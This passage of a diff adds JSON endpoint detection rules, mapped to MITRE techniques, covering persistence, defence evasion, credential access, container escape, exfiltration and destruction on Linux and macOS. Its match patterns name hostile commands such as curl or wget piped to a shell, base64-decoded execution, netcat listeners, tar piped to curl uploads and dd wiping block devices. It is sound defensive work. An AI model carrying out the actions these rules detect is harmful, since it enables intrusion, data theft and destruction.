+ "\\downloads\\"
+ ],
+ "target_filename_endswith": ".iso"
+ },
+ "mitre": [
+ "T1204.002"
+ ],
+ "name": "ISO File Mounted From User Temp",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-iso-mount-from-temp"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-130",
+ "match_when": {
+ "event_id": 1,
+ "parent_image_endswith": "explorer.exe",
+ "process_command_line_contains_any": [
+ "e:\\",
+ "f:\\"
+ ]
+ },
+ "mitre": [
+ "T1204.002"
+ ],
+ "name": "LNK File Executed From Removable Media",
+ "product": "windows",
+ "service": "sysmon",
+ "severity": "medium",
+ "slug": "win-lnk-file-from-removable"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-131",
+ "match_when": {
+ "exe_not_endswith_any": [
+ "/dpkg",
+ "/rpm",
+ "/yum",
+ "/apt-get",
+ "/zypper"
+ ],
+ "path_contains": "/etc/systemd/system/",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1543.002"
+ ],
+ "name": "Systemd Unit File Written By Non-Package Process",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-systemd-service-create-untrusted"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-132",
+ "match_when": {
+ "path_contains": "/etc/systemd/system/",
+ "path_endswith": ".timer",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1053.006"
+ ],
+ "name": "Systemd Timer Unit Created",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-systemd-timer-create"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-133",
+ "match_when": {
+ "exe_not_endswith_any": [
+ "/dpkg",
+ "/rpm",
+ "/apt-get",
+ "/yum",
+ "/dnf"
+ ],
+ "path_contains": "/etc/cron.d/",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1053.003"
+ ],
+ "name": "File Written Into /etc/cron.d Outside Package Mgr",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-cron-d-write"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-134",
+ "match_when": {
+ "exe_not_endswith_any": [
+ "/dpkg",
+ "/rpm"
+ ],
+ "path_contains_any": [
+ "/etc/anacrontab",
+ "/etc/cron.daily/",
+ "/etc/cron.weekly/"
+ ],
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1053.003"
+ ],
+ "name": "Anacron Job File Added",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-anacron-job-add"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-135",
+ "match_when": {
+ "exe_endswith": "/at",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1053.001"
+ ],
+ "name": "at Job Created",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-at-job-create"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-136",
+ "match_when": {
+ "path": "/etc/rc.local",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1037.004"
+ ],
+ "name": "/etc/rc.local Modified",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-rclocal-modified"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-137",
+ "match_when": {
+ "exe_not_endswith_any": [
+ "/dpkg",
+ "/rpm"
+ ],
+ "path_contains": "/etc/init.d/",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1037.004"
+ ],
+ "name": "/etc/init.d/ Script Added By Non-Pkg Process",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-initd-script-add"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-138",
+ "match_when": {
+ "actor_uid_neq_owner_uid": true,
+ "path_endswith": "/.bashrc",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1546.004"
+ ],
+ "name": "~/.bashrc Modified By Other User",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-bashrc-modified-by-other-user"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-139",
+ "match_when": {
+ "actor_uid_neq_owner_uid": true,
+ "path_endswith": "/.zshrc",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1546.004"
+ ],
+ "name": "~/.zshrc Modified By Other User",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-zshrc-modified-by-other-user"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-140",
+ "match_when": {
+ "exe_not_endswith_any": [
+ "/dpkg",
+ "/rpm",
+ "/yum"
+ ],
+ "path_contains": "/etc/pam.d/",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1556.003"
+ ],
+ "name": "/etc/pam.d/ Configuration Modified",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-pam-d-modified"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-141",
+ "match_when": {
+ "exe_not_endswith_any": [
+ "/dpkg",
+ "/rpm"
+ ],
+ "path_contains": "libnss_",
+ "path_startswith": "/usr/lib",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1556"
+ ],
+ "name": "NSS Module Installed In /usr/lib",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-nss-module-installed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-142",
+ "match_when": {
+ "exe_not_endswith_any": [
+ "/visudo",
+ "/dpkg",
+ "/rpm"
+ ],
+ "path_contains": "/etc/sudoers.d/",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "New File Added Under /etc/sudoers.d/",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-sudoers-d-add"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-143",
+ "match_when": {
+ "file_content_contains": "NOPASSWD",
+ "path_contains_any": [
+ "/etc/sudoers",
+ "/etc/sudoers.d/"
+ ],
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1548.003"
+ ],
+ "name": "Sudoers File Granted NOPASSWD Privilege",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-nopasswd-sudo-line"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-144",
+ "match_when": {
+ "append_count_5min_gt": 3,
+ "path_endswith": "/.ssh/authorized_keys",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1098.004"
+ ],
+ "name": "Multiple Authorized Keys Appended In Short Window",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-authorized-keys-bulk-append"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-145",
+ "match_when": {
+ "path": "/etc/ssh/sshd_config",
+ "syscall": "openat",
+ "value_contains": "PermitRootLogin yes"
+ },
+ "mitre": [
+ "T1556.004"
+ ],
+ "name": "sshd_config PermitRootLogin Set To Yes",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-ssh-config-permitrootlogin-yes"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-146",
+ "match_when": {
+ "active_state": "inactive",
+ "unit": "auditd"
+ },
+ "mitre": [
+ "T1562.012"
+ ],
+ "name": "auditd Service Stopped",
+ "product": "linux",
+ "service": "syslog",
+ "severity": "high",
+ "slug": "linux-auditd-stopped"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-147",
+ "match_when": {
+ "argv_contains_any": [
+ "-D",
+ "-e 0"
+ ],
+ "exe_endswith": "/auditctl",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1562.012"
+ ],
+ "name": "auditctl Used To Disable Audit Rules",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-auditctl-disable"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-148",
+ "match_when": {
+ "path_contains_any": [
+ "/etc/rsyslog.d/",
+ "/etc/rsyslog.conf"
+ ],
+ "syscall": "unlinkat"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "rsyslog Configuration File Removed",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-syslog-config-removed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-149",
+ "match_when": {
+ "exe_not_endswith_any": [
+ "/login",
+ "/sshd",
+ "/init"
+ ],
+ "path_contains_any": [
+ "/var/log/wtmp",
+ "/var/log/btmp"
+ ],
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1070.002"
+ ],
+ "name": "/var/log/wtmp Or /var/log/btmp Modified Suspiciously",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-utmp-tampering"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-150",
+ "match_when": {
+ "flags_contains": "O_TRUNC",
+ "path_endswith": "/.bash_history",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1070.003"
+ ],
+ "name": "Bash History File Truncated Or Removed",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-history-cleared"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-151",
+ "match_when": {
+ "argv_contains_any": [
+ "histfile=/dev/null",
+ "set +o history"
+ ],
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1070.003"
+ ],
+ "name": "HISTFILE Set To /dev/null",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-history-disabled-export"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-152",
+ "match_when": {
+ "argv_contains_any": [
+ "0",
+ "permissive"
+ ],
+ "exe_endswith": "/setenforce",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "SELinux Set To Permissive",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-selinux-permissive"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-153",
+ "match_when": {
+ "argv_contains": "-R",
+ "exe_endswith_any": [
+ "/aa-disable",
+ "/apparmor_parser"
+ ],
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "AppArmor Profile Disabled",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-apparmor-disabled"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-154",
+ "match_when": {
+ "argv_contains_any": [
+ "-F",
+ "--flush"
+ ],
+ "exe_endswith": "/iptables",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1562.004"
+ ],
+ "name": "iptables -F Used To Flush Rules",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-iptables-flush"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-155",
+ "match_when": {
+ "argv_contains": "disable",
+ "exe_endswith": "/ufw",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1562.004"
+ ],
+ "name": "ufw Firewall Disabled",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-ufw-disable"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-156",
+ "match_when": {
+ "actor_uid_neq": 0,
+ "path": "/etc/shadow",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1003.008"
+ ],
+ "name": "/etc/shadow Read By Non-Root Process",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-shadow-read"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-157",
+ "match_when": {
+ "exe_not_endswith_any": [
+ "/useradd",
+ "/usermod",
+ "/groupadd",
+ "/userdel"
+ ],
+ "path": "/etc/passwd",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1136.001"
+ ],
+ "name": "/etc/passwd Modified By Non-Pkg Process",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-passwd-modified"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-158",
+ "match_when": {
+ "mode_octal_contains": "4",
+ "path_not_startswith_any": [
+ "/usr/bin",
+ "/usr/sbin",
+ "/bin",
+ "/sbin"
+ ],
+ "syscall": "fchmod"
+ },
+ "mitre": [
+ "T1548.001"
+ ],
+ "name": "SUID Bit Set On Newly Created Binary",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-suid-binary-create"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-159",
+ "match_when": {
+ "mode_octal_contains": "2",
+ "path_not_startswith_any": [
+ "/usr/bin",
+ "/usr/sbin",
+ "/bin",
+ "/sbin"
+ ],
+ "syscall": "fchmod"
+ },
+ "mitre": [
+ "T1548.001"
+ ],
+ "name": "SGID Bit Set On Newly Created Binary",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-guid-binary-create"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-160",
+ "match_when": {
+ "argv_contains": "cap_setuid",
+ "exe_endswith": "/setcap",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1548.001"
+ ],
+ "name": "setuid Capability Granted To New Binary",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-cap-setuid-binary"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-161",
+ "match_when": {
+ "distinct_pid_5min_gt": 50,
+ "path": "/etc/passwd",
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1087.001"
+ ],
+ "name": "/etc/passwd Read By Many Processes In Short Window",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "low",
+ "slug": "linux-mass-userlist-read"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-162",
+ "match_when": {
+ "argv_contains_any": [
+ "-l",
+ "-lvp",
+ "--listen"
+ ],
+ "exe_endswith_any": [
+ "/nc",
+ "/ncat",
+ "/netcat"
+ ],
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1059.004"
+ ],
+ "name": "netcat Listening Mode Detected",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-netcat-listen"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-163",
+ "match_when": {
+ "argv_contains_any": [
+ "curl | bash",
+ "curl | sh",
+ "wget -O- | bash",
+ "wget -qO- | sh"
+ ],
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1059.004"
+ ],
+ "name": "curl/wget Piped Directly To Shell",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-curl-piped-bash"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-164",
+ "match_when": {
+ "actor_uid_neq": 0,
+ "path": "/var/run/docker.sock",
+ "syscall": "connect"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Docker Socket Accessed By Non-Root User",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-docker-socket-read-non-root"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-165",
+ "match_when": {
+ "event_type": "container_create",
+ "host_path": "/var/run/docker.sock"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Docker Socket Mounted Into Container",
+ "product": "linux",
+ "service": "docker",
+ "severity": "critical",
+ "slug": "linux-docker-socket-mounted-into-container"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-166",
+ "match_when": {
+ "event_type": "container_create",
+ "pid_mode": "host"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Container Started With --pid=host",
+ "product": "linux",
+ "service": "docker",
+ "severity": "high",
+ "slug": "linux-host-pid-namespace"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-167",
+ "match_when": {
+ "event_type": "container_create",
+ "network_mode": "host"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Container Started With --network=host",
+ "product": "linux",
+ "service": "docker",
+ "severity": "medium",
+ "slug": "linux-host-network-namespace"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-168",
+ "match_when": {
+ "added_caps_has_any": [
+ "CAP_SYS_ADMIN",
+ "ALL"
+ ],
+ "event_type": "container_create"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "Container Granted CAP_SYS_ADMIN",
+ "product": "linux",
+ "service": "docker",
+ "severity": "high",
+ "slug": "linux-cap-sys-admin-add"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-169",
+ "match_when": {
+ "options_contains": "rw",
+ "syscall": "mount",
+ "target_startswith": "/proc"
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "/proc Re-Mounted With Read-Write",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-mount-procfs-rw"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-170",
+ "match_when": {
+ "exe_endswith": "/insmod",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1547.006"
+ ],
+ "name": "Kernel Module Loaded With insmod",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-kernel-module-load-insmod"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-171",
+ "match_when": {
+ "actor_uid_neq": 0,
+ "cmd": "BPF_PROG_LOAD",
+ "syscall": "bpf"
+ },
+ "mitre": [
+ "T1547"
+ ],
+ "name": "eBPF Program Loaded By Non-Root",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-ebpf-prog-load-non-root"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-172",
+ "match_when": {
+ "syscall": "ptrace",
+ "target_pid": 1
+ },
+ "mitre": [
+ "T1611"
+ ],
+ "name": "ptrace Attached To PID 1",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-ptrace-pid1"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-173",
+ "match_when": {
+ "fd_path_startswith": "/memfd:",
+ "syscall": "execveat"
+ },
+ "mitre": [
+ "T1620"
+ ],
+ "name": "memfd_create Then Executed Anonymous Memory Region",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-memfd-create-then-execve"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-174",
+ "match_when": {
+ "argv_contains_all": [
+ "tar",
+ "curl"
+ ],
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1041"
+ ],
+ "name": "tar Output Piped To curl Upload",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-tar-pipe-curl"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-175",
+ "match_when": {
+ "exe_endswith": "/rclone",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1041"
+ ],
+ "name": "rclone Binary Run On Non-Backup Host",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-rclone-process"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-176",
+ "match_when": {
+ "path_endswith_any": [
+ ".tar",
+ ".tar.gz",
+ ".zip",
+ ".7z"
+ ],
+ "path_startswith": "/tmp/",
+ "size_bytes_gt": 524288000,
+ "syscall": "openat"
+ },
+ "mitre": [
+ "T1074.001"
+ ],
+ "name": "Large Archive Created In /tmp",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-large-stage-tmp"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-177",
+ "match_when": {
+ "argv_contains_any": [
+ "base64 -d | bash",
+ "base64 -d | sh",
+ "echo | base64 -d | sh"
+ ],
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1027"
+ ],
+ "name": "base64 Decoded Then Executed In Shell",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-base64-decode-then-execve"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-178",
+ "match_when": {
+ "exe_endswith_any": [
+ "/xmrig",
+ "/minerd",
+ "/cpuminer"
+ ],
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1496"
+ ],
+ "name": "Likely Cryptominer Process Detected",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "critical",
+ "slug": "linux-cryptominer-process"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-179",
+ "match_when": {
+ "argv_contains_any": [
+ "/var/lib",
+ "/data",
+ "/srv"
+ ],
+ "exe_endswith": "/shred",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "shred Used Against Production Data Path",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-shred-on-prod-data"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-180",
+ "match_when": {
+ "argv_contains_all": [
+ "if=/dev/zero",
+ "of=/dev/"
+ ],
+ "exe_endswith": "/dd",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1561.002"
+ ],
+ "name": "dd Writing /dev/zero To Block Device",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "critical",
+ "slug": "linux-wipe-disk-dd"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-181",
+ "match_when": {
+ "argv_contains_any": [
+ "stop",
+ "disable"
+ ],
+ "exe_endswith": "/systemctl",
+ "stops_5min_gt": 5,
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1489"
+ ],
+ "name": "Multiple Critical Services Stopped In Quick Burst",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-systemctl-mass-stop"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-182",
+ "match_when": {
+ "new_name_endswith_any": [
+ ".locked",
+ ".enc",
+ ".ryuk",
+ ".lockbit"
+ ],
+ "rename_count_60s_gt": 50,
+ "syscall": "renameat2"
+ },
+ "mitre": [
+ "T1486"
+ ],
+ "name": "Mass File Rename To Ransom Marker Extension",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "critical",
+ "slug": "linux-mass-rename-suspicious-ext"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-183",
+ "match_when": {
+ "fd_path_startswith": "/proc/self/fd/",
+ "syscall": "execveat"
+ },
+ "mitre": [
+ "T1620"
+ ],
+ "name": "Process Executed From /proc/self/fd Anonymous Inode",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-fileless-via-procfd"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-184",
+ "match_when": {
+ "argv_contains_any": [
+ ".xyz",
+ ".top",
+ ".click",
+ ".support"
+ ],
+ "exe_endswith_any": [
+ "/wget",
+ "/curl"
+ ],
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1105"
+ ],
+ "name": "wget Pulling From Newly Registered TLD",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-wget-suspicious-tld"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-185",
+ "match_when": {
+ "argv_contains_all": [
+ "+x",
+ "/tmp/"
+ ],
+ "exe_endswith": "/chmod",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1222.002"
+ ],
+ "name": "chmod +x Applied To File In /tmp",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-chmod-plus-x-tmp"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-186",
+ "match_when": {
+ "exe_startswith": "/dev/shm/",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1059.004"
+ ],
+ "name": "execve From /dev/shm",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-execve-from-dev-shm"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-187",
+ "match_when": {
+ "argv_contains": "attach",
+ "exe_endswith": "/portablectl",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1543.002"
+ ],
+ "name": "systemd-portable Image Attached",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-systemd-portable-attach"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-188",
+ "match_when": {
+ "argv_contains_any": [
+ "/tmp/",
+ "/dev/shm/"
+ ],
+ "exe_endswith": "/modprobe",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1547.006"
+ ],
+ "name": "modprobe Loaded Module From /tmp",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-modprobe-suspicious"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-189",
+ "match_when": {
+ "env_ld_preload_startswith": "/tmp/",
+ "syscall": "execve"
+ },
+ "mitre": [
+ "T1574.006"
+ ],
+ "name": "LD_PRELOAD Pointing To /tmp",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "high",
+ "slug": "linux-ld-preload-set-tmp"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-190",
+ "match_when": {
+ "path_startswith": "/etc/yum.repos.d/",
+ "syscall": "openat",
+ "value_contains": "baseurl=http://"
+ },
+ "mitre": [
+ "T1195.002"
+ ],
+ "name": "yum/dnf Added Repo From Untrusted Domain",
+ "product": "linux",
+ "service": "auditd",
+ "severity": "medium",
+ "slug": "linux-yum-add-untrusted-repo"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-191",
+ "match_when": {
+ "creator_signing_id_not_in": [
+ "com.apple.installer",
+ "com.apple.softwareupdated"
+ ],
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_contains": "/Library/LaunchDaemons/"
+ },
+ "mitre": [
+ "T1543.001"
+ ],
+ "name": "LaunchDaemon Plist Written To /Library/LaunchDaemons",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-launchdaemon-write-system"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-192",
+ "match_when": {
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_contains_any": [
+ "/Users/",
+ "/Library/LaunchAgents/"
+ ],
+ "path_endswith": ".plist"
+ },
+ "mitre": [
+ "T1543.004"
+ ],
+ "name": "User LaunchAgent Plist Created",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-launchagent-write-user"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-193",
+ "match_when": {
+ "argv_contains": "login items",
+ "event_type": "exec",
+ "process_path_endswith": "/osascript"
+ },
+ "mitre": [
+ "T1547.015"
+ ],
+ "name": "Login Item Added Via osascript",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-loginitem-add"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-194",
+ "match_when": {
+ "event_type": "exec",
+ "process_path_endswith": "/PlistBuddy",
+ "responsible_signing_id_not_startswith": "com.apple."
+ },
+ "mitre": [
+ "T1547"
+ ],
+ "name": "PlistBuddy Used By Non-System Process",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-plistbuddy-from-non-system"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-195",
+ "match_when": {
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_contains": "/etc/emond.d/rules/"
+ },
+ "mitre": [
+ "T1546.014"
+ ],
+ "name": "Apple emond Rule Installed",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-emond-installed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-196",
+ "match_when": {
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_contains": "/private/etc/periodic/"
+ },
+ "mitre": [
+ "T1037"
+ ],
+ "name": "/private/etc/periodic Script Modified",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-periodic-script-modified"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-197",
+ "match_when": {
+ "argv_contains": "-l",
+ "event_type": "exec",
+ "process_path_endswith": "/crontab"
+ },
+ "mitre": [
+ "T1053.003"
+ ],
+ "name": "User crontab Created (Rare On macOS)",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-cron-tab-create"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-198",
+ "match_when": {
+ "event_type": "ES_EVENT_TYPE_NOTIFY_WRITE",
+ "path_endswith": "/.ssh/authorized_keys"
+ },
+ "mitre": [
+ "T1098.004"
+ ],
+ "name": "~/.ssh/authorized_keys Modified",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-ssh-authorized-keys-append"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-199",
+ "match_when": {
+ "argv_contains": "remove",
+ "event_type": "exec",
+ "process_path_endswith": "/profiles"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "MDM Enrollment Profile Removed",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "high",
+ "slug": "macos-mdm-enrollment-removed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-200",
+ "match_when": {
+ "argv_contains": "install",
+ "event_type": "exec",
+ "process_path_endswith": "/profiles"
+ },
+ "mitre": [
+ "T1078.003"
+ ],
+ "name": "Configuration Profile Installed",
+ "product": "macos",
+ "service": "endpointsecurity",
+ "severity": "medium",
+ "slug": "macos-config-profile-installed"
+ },
+ {
+ "category": "endpoint",
+ "id": "det-endpoint-201",
+ "match_when": {
